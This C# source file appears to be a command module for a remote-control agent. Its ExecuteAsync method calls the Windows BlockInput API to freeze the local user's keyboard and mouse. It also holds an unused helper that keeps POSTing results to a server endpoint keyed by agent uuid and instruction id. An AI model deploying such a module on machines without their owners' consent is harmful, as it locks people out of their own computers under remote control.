using System;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Net.Http;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;
using System.Text;

public class Script
{
    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool BlockInput(bool fBlockIt);

    [DataContract]
    public class Response
    {
        [DataMember]
        public string output { get; set; }
    }
    private static async Task NotifyWithRetry(string EndPoint, string uuid, long instructionId, short code, string output)
    {
        TimeSpan delay = TimeSpan.FromSeconds(10);
        while (true)
        {
            HttpClient httpClient = new HttpClient();
            try
            {
                DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(Response));

                using (MemoryStream ms = new MemoryStream())
                {
                    serializer.WriteObject(ms, new Response { output = output });
                    var content = new StringContent(Encoding.UTF8.GetString(ms.ToArray()), Encoding.UTF8, "application/json");
                    var response = await httpClient.PostAsync(EndPoint + "Response/" + uuid + "/" + instructionId + "/" + code, content);
                    response.EnsureSuccessStatusCode();
                    break;
                }
            }
            catch (Exception)
            {
            }
            await Task.Delay(delay);
        }
    }
    public static async Task<object> ExecuteAsync(string endpoint, string uuid, long instId, short code)
    {
        BlockInput(true);
        BlockInput(true);
        BlockInput(true);
        return null;
    }
}
